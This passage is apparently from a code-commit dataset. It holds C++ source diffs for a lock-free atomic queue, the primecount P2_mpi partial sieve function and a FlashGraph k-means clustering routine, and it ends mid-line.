mBuffer(NULL),\n mItemSize(0),\n mNumItems(0),\n mHead(0),\n mTail(0) {\n Initialize(buffer, buffer_size, item_size, num_items);\n}\n\nAtomicQueue::~AtomicQueue() {\n}\n\nvoid AtomicQueue::Initialize(void* buffer, size_t buffer_size,\n size_t item_size, size_t num_items) {\n mBuffer = buffer;\n mItemSize = item_size;\n mNumItems = num_items;\n mHead = 0;\n mTail = 0;\n\n (void) buffer_size;\n YASSERT(buffer_size >= (item_size * num_items),\n \"Atomic Queue %u[%u] requires at least %u bytes, supplied %u bytes.\",\n static_cast<uint32_t>(item_size), num_items,\n static_cast<uint32_t>(item_size * num_items),\n static_cast<uint32_t>(buffer_size));\n}\n\nbool AtomicQueue::Enqueue(const void* data_item) {\n const uint64_t cur_head = mHead;\n const uint64_t cur_tail = mTail;\n MemoryBarrier();\n\n const uint64_t cur_head_num = GET_NUM(cur_head);\n const uint64_t cur_tail_num = GET_NUM(cur_tail);\n\n \/\/ Check if full (numbers match, but counters do not)\n if (cur_head_num == cur_tail_num && cur_head != cur_tail)\n return false;\n\n memcpy(static_cast<char*>(mBuffer) + cur_tail_num, data_item, mItemSize);\n\n const uint64_t new_tail_num = cur_tail_num + mItemSize;\n const uint64_t tail_cnt = GET_CNT(cur_tail);\n\n \/\/ Check if looped through buffer.\n mTail = (new_tail_num == (mItemSize * mNumItems)) ?\n CONSTRUCT_NEXT_VALUE(tail_cnt, 0) :\n CONSTRUCT_VALUE(tail_cnt, new_tail_num);\n\n return true;\n}\n\nbool AtomicQueue::Dequeue(void* data_item) {\n const size_t buffer_size = mItemSize * mNumItems;\n for (;;) {\n const uint64_t cur_head = mHead;\n const uint64_t cur_tail = mTail;\n MemoryBarrier();\n\n \/\/ Check if empty (both counter and numbers match)\n if (cur_head == cur_tail)\n return false;\n\n const uint64_t cur_head_num = GET_NUM(cur_head);\n\n memcpy(data_item, static_cast<char*>(mBuffer) + cur_head_num, mItemSize);\n\n const uint64_t new_head_num = cur_head_num + mItemSize;\n const uint64_t head_cnt = GET_CNT(cur_head);\n\n \/\/ Check if looped through buffer.\n const uint64_t new_head_val = (new_head_num == buffer_size) ?\n CONSTRUCT_NEXT_VALUE(head_cnt, 0) :\n CONSTRUCT_VALUE(head_cnt, new_head_num);\n\n if (AtomicCmpSet64(&mHead, cur_head, new_head_val))\n break;\n }\n\n return true;\n}\n\nsize_t AtomicQueue::CurrentSize() const {\n const uint64_t cur_head = mHead;\n const uint64_t cur_tail = mTail;\n MemoryBarrier();\n\n const uint64_t size = static_cast<uint64_t>(mItemSize);\n const uint64_t cur_head_num = GET_NUM(cur_head);\n const uint64_t cur_tail_num = GET_NUM(cur_tail);\n\n if (cur_head_num == cur_tail_num) {\n \/\/ Empty if the counters match, full otherwise.\n return (cur_head == cur_tail) ? 0 : mItemSize;\n } else if (cur_tail_num > cur_head_num) {\n return static_cast<size_t>((cur_tail_num - cur_head_num) \/ size);\n } else {\n const uint64_t looped_tail = cur_tail_num + (size * mNumItems);\n return static_cast<size_t>((looped_tail - cur_head_num) \/ size);\n }\n}\n\n}} \/\/ namespace YCommon { namespace YContainers {\n<|endoftext|>"} {"text":"<commit_before>\/\/\/\n\/\/\/ @file P2_mpi.cpp\n\/\/\/ @brief 2nd partial sieve function.\n\/\/\/ P2(x, y) counts the numbers <= x that have exactly 2 prime\n\/\/\/ factors each exceeding the a-th prime.\n\/\/\/\n\/\/\/ Copyright (C) 2016 Kim Walisch, <kim.walisch@gmail.com>\n\/\/\/\n\/\/\/ This file is distributed under the BSD License. See the COPYING\n\/\/\/ file in the top level directory.\n\/\/\/\n\n#include <primecount.hpp>\n#include <primecount-internal.hpp>\n#include <primesieve.hpp>\n#include <aligned_vector.hpp>\n#include <int128.hpp>\n#include <min_max.hpp>\n#include <mpi_reduce_sum.hpp>\n#include <pmath.hpp>\n#include <print.hpp>\n\n#include <stdint.h>\n#include <algorithm>\n#include <iostream>\n#include <iomanip>\n\n#ifdef _OPENMP\n #include <omp.h>\n#endif\n\nusing namespace std;\nusing namespace primecount;\n\nnamespace {\n\n\/\/\/ Count the primes inside [prime, stop]\ntemplate <typename T>\nint64_t count_primes(primesieve::iterator& it, int64_t& prime, T stop)\n{\n int64_t count = 0;\n\n for (; prime <= stop; count++)\n prime = it.next_prime();\n\n return count;\n}\n\n\/\/\/ Calculate the thread sieving distance. The idea is to\n\/\/\/ gradually increase the thread_distance in order to\n\/\/\/ keep all CPU cores busy.\n\/\/\/\nvoid balanceLoad(int64_t* thread_distance, \n int64_t low,\n int64_t z,\n int threads,\n double start_time)\n{\n double seconds = get_wtime() - start_time;\n\n int64_t min_distance = 1 << 20;\n int64_t max_distance = ceil_div(z - low, threads);\n\n if (seconds < 60)\n *thread_distance *= 2;\n if (seconds > 60)\n *thread_distance \/= 2;\n\n *thread_distance = in_between(min_distance, *thread_distance, max_distance);\n}\n\ntemplate <typename T>\nT P2_OpenMP_thread(T x,\n int64_t y,\n int64_t z,\n int64_t thread_distance,\n int64_t thread_num,\n int64_t low,\n int64_t& pix,\n int64_t& pix_count)\n{\n pix = 0;\n pix_count = 0;\n low += thread_distance * thread_num;\n z = min(low + thread_distance, z);\n int64_t start = (int64_t) max(x \/ z, y);\n int64_t stop = (int64_t) min(x \/ low, isqrt(x));\n\n primesieve::iterator rit(stop + 1, start);\n primesieve::iterator it(low - 1, z);\n\n int64_t next = it.next_prime();\n int64_t prime = rit.previous_prime();\n T P2_thread = 0;\n\n \/\/ \\sum_{i = pi[start]+1}^{pi[stop]} pi(x \/ primes[i])\n while (prime > start &&\n x \/ prime < z)\n {\n pix += count_primes(it, next, x \/ prime);\n P2_thread += pix;\n pix_count++;\n prime = rit.previous_prime();\n }\n\n pix += count_primes(it, next, z - 1);\n\n return P2_thread;\n}\n\n\/\/\/ P2(x, y) counts the numbers <= x that have exactly 2\n\/\/\/ prime factors each exceeding the a-th prime.\n\/\/\/ Space complexity: O(z^(1\/2)).\n\/\/\/\ntemplate <typename T>\nT P2_mpi_master(T x, int64_t y, int threads)\n{\n#if __cplusplus >= 201103L\n static_assert(prt::is_signed<T>::value,\n \"P2(T x, ...): T must be signed integer type\");\n#endif\n\n if (x < 4)\n return 0;\n\n T a = pi_legendre(y, threads);\n T b = pi_legendre((int64_t) isqrt(x), threads);\n\n if (a >= b)\n return 0;\n\n int64_t low = 2;\n int64_t z = (int64_t)(x \/ max(y, 1));\n int64_t min_distance = 1 << 20;\n int64_t thread_distance = min_distance;\n\n int proc_id = mpi_proc_id();\n int procs = mpi_num_procs();\n\n int64_t distance = z - low;\n int64_t proc_distance = ceil_div(distance, procs);\n low += proc_distance * proc_id;\n z = min(low + proc_distance, z);\n\n T p2 = 0;\n T pix_total = pi_legendre(low - 1, threads);\n\n if (is_mpi_master_proc())\n p2 = (a - 2) * (a + 1) \/ 2 - (b - 2) * (b + 1) \/ 2;\n\n threads = ideal_num_threads(threads, z);\n aligned_vector<int64_t> pix(threads);\n aligned_vector<int64_t> pix_counts(threads);\n\n \/\/ \\sum_{i=a+1}^{b} pi(x \/ primes[i])\n while (low < z)\n {\n int64_t max_threads = ceil_div(z - low, thread_distance);\n threads = in_between(1, threads, max_threads);\n double time = get_wtime();\n\n #pragma omp parallel for num_threads(threads) reduction(+: p2)\n for (int i = 0; i < threads; i++)\n p2 += P2_OpenMP_thread(x, y, z, thread_distance, i, low, pix[i], pix_counts[i]);\n\n low += thread_distance * threads;\n balanceLoad(&thread_distance, low, z, threads, time);\n\n \/\/ Add missing sum contributions in order\n for (int i = 0; i < threads; i++)\n {\n p2 += pix_total * pix_counts[i];\n pix_total += pix[i];\n }\n\n if (print_status())\n {\n double percent = get_percent((double) low, (double) z);\n cout << \"\\rStatus: \" << fixed << setprecision(get_status_precision(x))\n << percent << '%' << flush;\n }\n }\n\n p2 = mpi_reduce_sum(p2);\n\n return p2;\n}\n\n} \/\/ namespace\n\nnamespace primecount {\n\nint64_t P2_mpi(int64_t x, int64_t y, int threads)\n{\n print(\"\");\n print(\"=== P2_mpi(x, y) ===\");\n print(\"Computation of the 2nd partial sieve function\");\n print(x, y, threads);\n\n double time = get_wtime();\n int64_t p2 = P2_mpi_master(x, y, threads);\n\n print(\"P2\", p2, time);\n return p2;\n}\n\n#ifdef HAVE_INT128_T\n\nint128_t P2_mpi(int128_t x, int64_t y, int threads)\n{\n print(\"\");\n print(\"=== P2_mpi(x, y) ===\");\n print(\"Computation of the 2nd partial sieve function\");\n print(x, y, threads);\n\n double time = get_wtime();\n int128_t p2 = P2_mpi_master(x, y, threads);\n\n print(\"P2\", p2, time);\n return p2;\n}\n\n#endif\n\n} \/\/ namespace\n<commit_msg>ideal_num_threads() not needed<commit_after>\/\/\/\n\/\/\/ @file P2_mpi.cpp\n\/\/\/ @brief 2nd partial sieve function.\n\/\/\/ P2(x, y) counts the numbers <= x that have exactly 2 prime\n\/\/\/ factors each exceeding the a-th prime.\n\/\/\/\n\/\/\/ Copyright (C) 2016 Kim Walisch, <kim.walisch@gmail.com>\n\/\/\/\n\/\/\/ This file is distributed under the BSD License. See the COPYING\n\/\/\/ file in the top level directory.\n\/\/\/\n\n#include <primecount.hpp>\n#include <primecount-internal.hpp>\n#include <primesieve.hpp>\n#include <aligned_vector.hpp>\n#include <int128.hpp>\n#include <min_max.hpp>\n#include <mpi_reduce_sum.hpp>\n#include <pmath.hpp>\n#include <print.hpp>\n\n#include <stdint.h>\n#include <algorithm>\n#include <iostream>\n#include <iomanip>\n\n#ifdef _OPENMP\n #include <omp.h>\n#endif\n\nusing namespace std;\nusing namespace primecount;\n\nnamespace {\n\n\/\/\/ Count the primes inside [prime, stop]\ntemplate <typename T>\nint64_t count_primes(primesieve::iterator& it, int64_t& prime, T stop)\n{\n int64_t count = 0;\n\n for (; prime <= stop; count++)\n prime = it.next_prime();\n\n return count;\n}\n\n\/\/\/ Calculate the thread sieving distance. The idea is to\n\/\/\/ gradually increase the thread_distance in order to\n\/\/\/ keep all CPU cores busy.\n\/\/\/\nvoid balanceLoad(int64_t* thread_distance, \n int64_t low,\n int64_t z,\n int threads,\n double start_time)\n{\n double seconds = get_wtime() - start_time;\n\n int64_t min_distance = 1 << 20;\n int64_t max_distance = ceil_div(z - low, threads);\n\n if (seconds < 60)\n *thread_distance *= 2;\n if (seconds > 60)\n *thread_distance \/= 2;\n\n *thread_distance = in_between(min_distance, *thread_distance, max_distance);\n}\n\ntemplate <typename T>\nT P2_OpenMP_thread(T x,\n int64_t y,\n int64_t z,\n int64_t thread_distance,\n int64_t thread_num,\n int64_t low,\n int64_t& pix,\n int64_t& pix_count)\n{\n pix = 0;\n pix_count = 0;\n low += thread_distance * thread_num;\n z = min(low + thread_distance, z);\n int64_t start = (int64_t) max(x \/ z, y);\n int64_t stop = (int64_t) min(x \/ low, isqrt(x));\n\n primesieve::iterator rit(stop + 1, start);\n primesieve::iterator it(low - 1, z);\n\n int64_t next = it.next_prime();\n int64_t prime = rit.previous_prime();\n T P2_thread = 0;\n\n \/\/ \\sum_{i = pi[start]+1}^{pi[stop]} pi(x \/ primes[i])\n while (prime > start &&\n x \/ prime < z)\n {\n pix += count_primes(it, next, x \/ prime);\n P2_thread += pix;\n pix_count++;\n prime = rit.previous_prime();\n }\n\n pix += count_primes(it, next, z - 1);\n\n return P2_thread;\n}\n\n\/\/\/ P2(x, y) counts the numbers <= x that have exactly 2\n\/\/\/ prime factors each exceeding the a-th prime.\n\/\/\/ Space complexity: O(z^(1\/2)).\n\/\/\/\ntemplate <typename T>\nT P2_mpi_master(T x, int64_t y, int threads)\n{\n#if __cplusplus >= 201103L\n static_assert(prt::is_signed<T>::value,\n \"P2(T x, ...): T must be signed integer type\");\n#endif\n\n if (x < 4)\n return 0;\n\n T a = pi_legendre(y, threads);\n T b = pi_legendre((int64_t) isqrt(x), threads);\n\n if (a >= b)\n return 0;\n\n int64_t low = 2;\n int64_t z = (int64_t)(x \/ max(y, 1));\n int64_t min_distance = 1 << 20;\n int64_t thread_distance = min_distance;\n\n int proc_id = mpi_proc_id();\n int procs = mpi_num_procs();\n\n int64_t distance = z - low;\n int64_t proc_distance = ceil_div(distance, procs);\n low += proc_distance * proc_id;\n z = min(low + proc_distance, z);\n\n T p2 = 0;\n T pix_total = pi_legendre(low - 1, threads);\n\n if (is_mpi_master_proc())\n p2 = (a - 2) * (a + 1) \/ 2 - (b - 2) * (b + 1) \/ 2;\n\n aligned_vector<int64_t> pix(threads);\n aligned_vector<int64_t> pix_counts(threads);\n\n \/\/ \\sum_{i=a+1}^{b} pi(x \/ primes[i])\n while (low < z)\n {\n int64_t max_threads = ceil_div(z - low, thread_distance);\n threads = in_between(1, threads, max_threads);\n double time = get_wtime();\n\n #pragma omp parallel for num_threads(threads) reduction(+: p2)\n for (int i = 0; i < threads; i++)\n p2 += P2_OpenMP_thread(x, y, z, thread_distance, i, low, pix[i], pix_counts[i]);\n\n low += thread_distance * threads;\n balanceLoad(&thread_distance, low, z, threads, time);\n\n \/\/ Add missing sum contributions in order\n for (int i = 0; i < threads; i++)\n {\n p2 += pix_total * pix_counts[i];\n pix_total += pix[i];\n }\n\n if (print_status())\n {\n double percent = get_percent((double) low, (double) z);\n cout << \"\\rStatus: \" << fixed << setprecision(get_status_precision(x))\n << percent << '%' << flush;\n }\n }\n\n p2 = mpi_reduce_sum(p2);\n\n return p2;\n}\n\n} \/\/ namespace\n\nnamespace primecount {\n\nint64_t P2_mpi(int64_t x, int64_t y, int threads)\n{\n print(\"\");\n print(\"=== P2_mpi(x, y) ===\");\n print(\"Computation of the 2nd partial sieve function\");\n print(x, y, threads);\n\n double time = get_wtime();\n int64_t p2 = P2_mpi_master(x, y, threads);\n\n print(\"P2\", p2, time);\n return p2;\n}\n\n#ifdef HAVE_INT128_T\n\nint128_t P2_mpi(int128_t x, int64_t y, int threads)\n{\n print(\"\");\n print(\"=== P2_mpi(x, y) ===\");\n print(\"Computation of the 2nd partial sieve function\");\n print(x, y, threads);\n\n double time = get_wtime();\n int128_t p2 = P2_mpi_master(x, y, threads);\n\n print(\"P2\", p2, time);\n return p2;\n}\n\n#endif\n\n} \/\/ namespace\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2014 Open Connectome Project (http:\/\/openconnecto.me)\n * Written by Disa Mhembere (disa@jhu.edu)\n *\n * This file is part of FlashGraph.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY CURRENT_KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"kmeans.h\"\n#define KM_TEST 1\n#define VERBOSE 0\n\n#ifdef PROFILER\n#include <gperftools\/profiler.h>\n#endif\n\nnamespace {\n\tstatic unsigned NUM_COLS;\n\tstatic size_t K;\n\tstatic unsigned NUM_ROWS;\n\tshort OMP_MAX_THREADS;\n\tstatic unsigned g_num_changed = 0;\n static const unsigned INVALID_CLUSTER_ID = std::numeric_limits<unsigned>::max();\n\tstatic struct timeval start, end;\n static init_type_t g_init_type;\n\n\t\/**\n\t * \\brief This initializes clusters by randomly choosing sample\n\t *\t\tmembership in a cluster.\n\t * See: http:\/\/en.wikipedia.org\/wiki\/K-means_clustering#Initialization_methods\n\t *\t\\param cluster_assignments Which cluster each sample falls into.\n\t *\/\n\tstatic void random_partition_init(unsigned* cluster_assignments,\n const double* matrix, clusters::ptr clusters) {\n\t\tBOOST_LOG_TRIVIAL(info) << \"Random init start\";\n\n\t\t\/\/ #pragma omp parallel for firstprivate(cluster_assignments, K) shared(cluster_assignments)\n\t\tfor (unsigned row = 0; row < NUM_ROWS; row++) {\n\t\t\tsize_t asgnd_clust = random() % K; \/\/ 0...K\n clusters->add_member(&matrix[row*NUM_COLS], asgnd_clust);\n\t\t\tcluster_assignments[row] = asgnd_clust;\n\t\t}\n\n\t\t\/\/ NOTE: M-Step called in compute func to update cluster counts & centers\n#if VERBOSE\n\t\tprintf(\"After rand paritions cluster_asgns: \"); print_arr(cluster_assignments, NUM_ROWS);\n#endif\n\t\tBOOST_LOG_TRIVIAL(info) << \"Random init end\\n\";\n\t}\n\n\t\/**\n\t * \\brief Forgy init takes `K` random samples from the matrix\n\t *\t\tand uses them as cluster centers.\n\t * \\param matrix the flattened matrix who's rows are being clustered.\n\t * \\param clusters The cluster centers (means) flattened matrix.\n\t *\/\n\tstatic void forgy_init(const double* matrix, clusters::ptr clusters) {\n\n\t\tBOOST_LOG_TRIVIAL(info) << \"Forgy init start\";\n\n\t\tfor (unsigned clust_idx = 0; clust_idx < K; clust_idx++) { \/\/ 0...K\n\t\t\tunsigned rand_idx = random() % (NUM_ROWS - 1); \/\/ 0...(n-1)\n clusters->set_mean(&matrix[rand_idx*NUM_COLS], clust_idx);\n\t\t}\n\n\t\tBOOST_LOG_TRIVIAL(info) << \"Forgy init end\";\n\t}\n\n\t\/**\n\t * \\brief A parallel version of the kmeans++ initialization alg.\n\t * See: http:\/\/ilpubs.stanford.edu:8090\/778\/1\/2006-13.pdf for algorithm\n\t *\/\n\tstatic void kmeanspp_init(const double* matrix, clusters::ptr clusters,\n unsigned* cluster_assignments, std::vector<double>& dist_v) {\n\n\t\t\/\/ Choose c1 uniiformly at random\n\t\tunsigned selected_idx = random() % NUM_ROWS; \/\/ 0...(NUM_ROWS-1)\n\n clusters->set_mean(&matrix[selected_idx*NUM_COLS], 0);\n\t\tdist_v[selected_idx] = 0.0;\n\n#if KM_TEST\n\t\tBOOST_LOG_TRIVIAL(info) << \"\\nChoosing \"\n << selected_idx << \" as center K = 0\";\n#endif\n\n\t\tunsigned clust_idx = 0; \/\/ The number of clusters assigned\n\n\t\t\/\/ Choose next center c_i with weighted prob\n\t\twhile ((clust_idx + 1) < K) {\n\t\t\tdouble cum_dist = 0;\n#pragma omp parallel for reduction(+:cum_dist) shared (dist_v)\n\t\t\tfor (size_t row = 0; row < NUM_ROWS; row++) {\n double dist = dist_comp_raw(&matrix[row*NUM_COLS],\n &((clusters->get_means())[clust_idx*NUM_COLS]), NUM_COLS);\n\n\t\t\t\tif (dist < dist_v[row]) { \/\/ Found a closer cluster than before\n\t\t\t\t\tdist_v[row] = dist;\n cluster_assignments[row] = clust_idx;\n\t\t\t\t}\n\t\t\t\tcum_dist += dist_v[row];\n\t\t\t}\n\n\t\t\tcum_dist = (cum_dist * ((double)random())) \/ (RAND_MAX - 1.0);\n\t\t\tclust_idx++;\n\n\t\t\tfor (size_t i=0; i < NUM_ROWS; i++) {\n\t\t\t\tcum_dist -= dist_v[i];\n\t\t\t\tif (cum_dist <= 0) {\n#if KM_TEST\n\t\t\t\t\tBOOST_LOG_TRIVIAL(info) << \"Choosing \"\n << i << \" as center K = \" << clust_idx;\n#endif\n clusters->set_mean(&(matrix[i*NUM_COLS]), clust_idx);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\tassert (cum_dist <= 0);\n\t\t}\n\n#if VERBOSE\n\t\tBOOST_LOG_TRIVIAL(info) << \"\\nCluster centers after kmeans++\"; clusters->print_means();\n#endif\n\t}\n\n\n\t\/**\n\t * \\brief Update the cluster assignments while recomputing distance matrix.\n\t * \\param matrix The flattened matrix who's rows are being clustered.\n\t * \\param clusters The cluster centers (means) flattened matrix.\n\t *\t\\param cluster_assignments Which cluster each sample falls into.\n\t *\/\n\tstatic void EM_step(const double* matrix, clusters::ptr cls,\n unsigned* cluster_assignments, unsigned* cluster_assignment_counts,\n const bool prune_init=false) {\n\n\t\tstd::vector<clusters::ptr> pt_cl(OMP_MAX_THREADS);\n \/\/ Per thread changed cluster count. OMP_MAX_THREADS\n\t\tstd::vector<size_t> pt_num_change(OMP_MAX_THREADS);\n\n for (int i = 0; i < OMP_MAX_THREADS; i++)\n pt_cl[i] = clusters::create(K, NUM_COLS);\n\n#pragma omp parallel for firstprivate(matrix, pt_cl)\\\n shared(cluster_assignments) schedule(static)\n\t\tfor (unsigned row = 0; row < NUM_ROWS; row++) {\n\n size_t asgnd_clust = INVALID_CLUSTER_ID;\n double best, dist;\n dist = best = std::numeric_limits<double>::max();\n\n for (unsigned clust_idx = 0; clust_idx < K; clust_idx++) {\n dist = dist_comp_raw(&matrix[row*NUM_COLS],\n &(cls->get_means()[clust_idx*NUM_COLS]), NUM_COLS);\n\n if (dist < best) {\n best = dist;\n asgnd_clust = clust_idx;\n }\n }\n\n BOOST_VERIFY(asgnd_clust != INVALID_CLUSTER_ID);\n\n if (asgnd_clust != cluster_assignments[row]) {\n pt_num_change[omp_get_thread_num()]++;\n }\n cluster_assignments[row] = asgnd_clust;\n pt_cl[omp_get_thread_num()]->add_member(&matrix[row*NUM_COLS], asgnd_clust);\n \/\/ Accumulate for local copies\n\t\t}\n\n#if VERBOSE\n\t\tBOOST_LOG_TRIVIAL(info) << \"Clearing cluster assignment counts\";\n\t\tBOOST_LOG_TRIVIAL(info) << \"Clearing cluster centers ...\";\n#endif\n cls->clear();\n\n\t\t\/\/ Serial aggreate of OMP_MAX_THREADS vectors\n \/\/ TODO: Pool these\n\t\tfor (int thd = 0; thd < OMP_MAX_THREADS; thd++) {\n\t\t\t\/\/ Updated the changed cluster count\n\t\t\tg_num_changed += pt_num_change[thd];\n\t\t\t\/\/ Summation for cluster centers\n cls->peq(pt_cl[thd]);\n\t\t}\n\n unsigned chk_nmemb = 0;\n for (unsigned clust_idx = 0; clust_idx < K; clust_idx++) {\n cls->finalize(clust_idx);\n cluster_assignment_counts[clust_idx] = cls->get_num_members(clust_idx);\n chk_nmemb += cluster_assignment_counts[clust_idx];\n }\n BOOST_VERIFY(chk_nmemb == NUM_ROWS);\n\n#if KM_TEST\n\t\tBOOST_LOG_TRIVIAL(info) << \"Global number of changes: \" << g_num_changed;\n#endif\n\t}\n}\n\nnamespace fg\n{\n\tunsigned compute_kmeans(const double* matrix, double* clusters_ptr,\n\t\t\tunsigned* cluster_assignments, unsigned* cluster_assignment_counts,\n\t\t\tconst unsigned num_rows, const unsigned num_cols, const unsigned k,\n const unsigned MAX_ITERS, const int max_threads, const std::string init,\n const double tolerance, const std::string dist_type)\n\t{\n#ifdef PROFILER\n\t\tProfilerStart(\"matrix\/kmeans.perf\");\n#endif\n\t\tNUM_COLS = num_cols;\n\t\tK = k;\n\t\tNUM_ROWS = num_rows;\n\t\tassert(max_threads > 0);\n\n\t\tOMP_MAX_THREADS = std::min(max_threads, get_num_omp_threads());\n\t\tomp_set_num_threads(OMP_MAX_THREADS);\n\t\tBOOST_LOG_TRIVIAL(info) << \"Running on \" << OMP_MAX_THREADS << \" threads!\";\n\n \/\/ Check k\n\t\tif (K > NUM_ROWS || K < 2 || K == (unsigned)-1) {\n\t\t\tBOOST_LOG_TRIVIAL(fatal)\n\t\t\t\t<< \"'k' must be between 2 and the number of rows in the matrix\" <<\n\t\t\t\t\"k = \" << K;\n\t\t\texit(-1);\n\t\t}\n\n\t\tgettimeofday(&start , NULL);\n\t\t\/*** Begin VarInit of data structures ***\/\n std::fill(&cluster_assignments[0], (&cluster_assignments[0])+NUM_ROWS, -1);\n std::fill(&cluster_assignment_counts[0], (&cluster_assignment_counts[0])+K, 0);\n\n clusters::ptr clusters = clusters::create(K, NUM_COLS);\n\n if (init == \"none\")\n clusters->set_mean(clusters_ptr);\n\n \/\/ For pruning\n std::vector<double> dist_v;\n dist_v.assign(NUM_ROWS, std::numeric_limits<double>::max());\n\n\t\t\/*** End VarInit ***\/\n BOOST_LOG_TRIVIAL(info) << \"Dist_type is \" << dist_type;\n if (dist_type == \"eucl\") {\n g_dist_type = EUCL;\n } else if (dist_type == \"cos\") {\n g_dist_type = COS;\n } else {\n BOOST_LOG_TRIVIAL(fatal)\n << \"[ERROR]: param dist_type must be one of: 'eucl', 'cos'.It is '\"\n << dist_type << \"'\";\n exit(-1);\n }\n\n if (init == \"random\") {\n random_partition_init(cluster_assignments, matrix, clusters);\n g_init_type = RANDOM;\n } else if (init == \"forgy\") {\n forgy_init(matrix, clusters);\n g_init_type = FORGY;\n } else if (init == \"kmeanspp\") {\n kmeanspp_init(matrix, clusters, cluster_assignments, dist_v);\n g_init_type = PLUSPLUS;\n } else if (init == \"none\") {\n g_init_type = NONE;\n } else {\n BOOST_LOG_TRIVIAL(fatal)\n << \"[ERROR]: param init must be one of: \"\n \"'random', 'forgy', 'kmeanspp'.It is '\"\n << init << \"'\";\n exit(-1);\n }\n\n if (g_init_type == NONE || g_init_type == FORGY\n || g_init_type == RANDOM) {\n\t\t\tEM_step(matrix, clusters, cluster_assignments,\n cluster_assignment_counts, true);\n }\n\n BOOST_LOG_TRIVIAL(info) << \"Init is '\" << init << \"'\";\n\t\tBOOST_LOG_TRIVIAL(info) << \"Matrix K-means starting ...\";\n\n\t\tbool converged = false;\n\t\tstd::string str_iters = MAX_ITERS == std::numeric_limits<unsigned>::max() ?\n\t\t\t\"until convergence ...\":\n\t\t\tstd::to_string(MAX_ITERS) + \" iterations ...\";\n\t\tBOOST_LOG_TRIVIAL(info) << \"Computing \" << str_iters;\n\t\tunsigned iter = 1;\n\n\t\twhile (iter < MAX_ITERS) {\n\t\t\t\/\/ Hold cluster assignment counter\n\t\t\tBOOST_LOG_TRIVIAL(info) << \"E-step Iteration \" << iter <<\n\t\t\t\t\". Computing cluster assignments ...\";\n\t\t\tEM_step(matrix, clusters, cluster_assignments,\n cluster_assignment_counts);\n#if KM_TEST\n printf(\"Cluster assignment counts: \");\n print_arr(cluster_assignment_counts, K);\n#endif\n\n\t\t\tif (g_num_changed == 0 || ((g_num_changed\/(double)NUM_ROWS))\n <= tolerance) {\n\t\t\t\tconverged = true;\n\t\t\t\tbreak;\n\t\t\t} else {\n\t\t\t\tg_num_changed = 0;\n\t\t\t}\n\t\t\titer++;\n\t\t}\n\n\t\tgettimeofday(&end, NULL);\n\t\tBOOST_LOG_TRIVIAL(info) << \"\\n\\nAlgorithmic time taken = \" <<\n\t\t\ttime_diff(start, end) << \" sec\\n\";\n\n#ifdef PROFILER\n\t\tProfilerStop();\n#endif\n\t\tBOOST_LOG_TRIVIAL(info) << \"\\n******************************************\\n\";\n\n\t\tif (converged) {\n\t\t\tBOOST_LOG_TRIVIAL(info) <<\n\t\t\t\t\"K-means converged in \" << iter << \" iterations\";\n\t\t} else {\n\t\t\tBOOST_LOG_TRIVIAL(warning) << \"[Warning]: K-means failed to converge in \"\n\t\t\t\t<< iter << \" iterations\";\n\t\t}\n\t\tBOOST_LOG_TRIVIAL(info) << \"\\n******************************************\\n\";\n\n\t\treturn iter;\n\t}\n}\n<commit_msg>[Matrix]: removed no-op oerg and added bic & spherical projection code<commit_after>\/*\n * Copyright 2014 Open Connectome Project (http:\/\/openconnecto.me)\n * Written by Disa Mhembere (disa@jhu.edu)\n *\n * This file is part of FlashGraph.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY CURRENT_KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"kmeans.h\"\n#define KM_TEST 0\n#define VERBOSE 0\n\n#ifdef PROFILER\n#include <gperftools\/profiler.h>\n#endif\n\nnamespace {\n\tstatic unsigned NUM_COLS;\n\tstatic size_t K;\n\tstatic unsigned NUM_ROWS;\n\tshort OMP_MAX_THREADS;\n\tstatic unsigned g_num_changed = 0;\n static const unsigned INVALID_CLUSTER_ID = std::numeric_limits<unsigned>::max();\n\tstatic struct timeval start, end;\n static init_type_t g_init_type;\n\n\t\/**\n\t * \\brief This initializes clusters by randomly choosing sample\n\t *\t\tmembership in a cluster.\n\t * See: http:\/\/en.wikipedia.org\/wiki\/K-means_clustering#Initialization_methods\n\t *\t\\param cluster_assignments Which cluster each sample falls into.\n\t *\/\n\tstatic void random_partition_init(unsigned* cluster_assignments,\n const double* matrix, clusters::ptr clusters) {\n\t\tBOOST_LOG_TRIVIAL(info) << \"Random init start\";\n\n\t\t\/\/ #pragma omp parallel for firstprivate(cluster_assignments, K) shared(cluster_assignments)\n\t\tfor (unsigned row = 0; row < NUM_ROWS; row++) {\n\t\t\tsize_t asgnd_clust = random() % K; \/\/ 0...K\n clusters->add_member(&matrix[row*NUM_COLS], asgnd_clust);\n\t\t\tcluster_assignments[row] = asgnd_clust;\n\t\t}\n\n\t\t\/\/ NOTE: M-Step called in compute func to update cluster counts & centers\n#if VERBOSE\n\t\tprintf(\"After rand paritions cluster_asgns: \"); print_arr(cluster_assignments, NUM_ROWS);\n#endif\n\t\tBOOST_LOG_TRIVIAL(info) << \"Random init end\\n\";\n\t}\n\n\t\/**\n\t * \\brief Forgy init takes `K` random samples from the matrix\n\t *\t\tand uses them as cluster centers.\n\t * \\param matrix the flattened matrix who's rows are being clustered.\n\t * \\param clusters The cluster centers (means) flattened matrix.\n\t *\/\n\tstatic void forgy_init(const double* matrix, clusters::ptr clusters) {\n\n\t\tBOOST_LOG_TRIVIAL(info) << \"Forgy init start\";\n\n\t\tfor (unsigned clust_idx = 0; clust_idx < K; clust_idx++) { \/\/ 0...K\n\t\t\tunsigned rand_idx = random() % (NUM_ROWS - 1); \/\/ 0...(n-1)\n clusters->set_mean(&matrix[rand_idx*NUM_COLS], clust_idx);\n\t\t}\n\n\t\tBOOST_LOG_TRIVIAL(info) << \"Forgy init 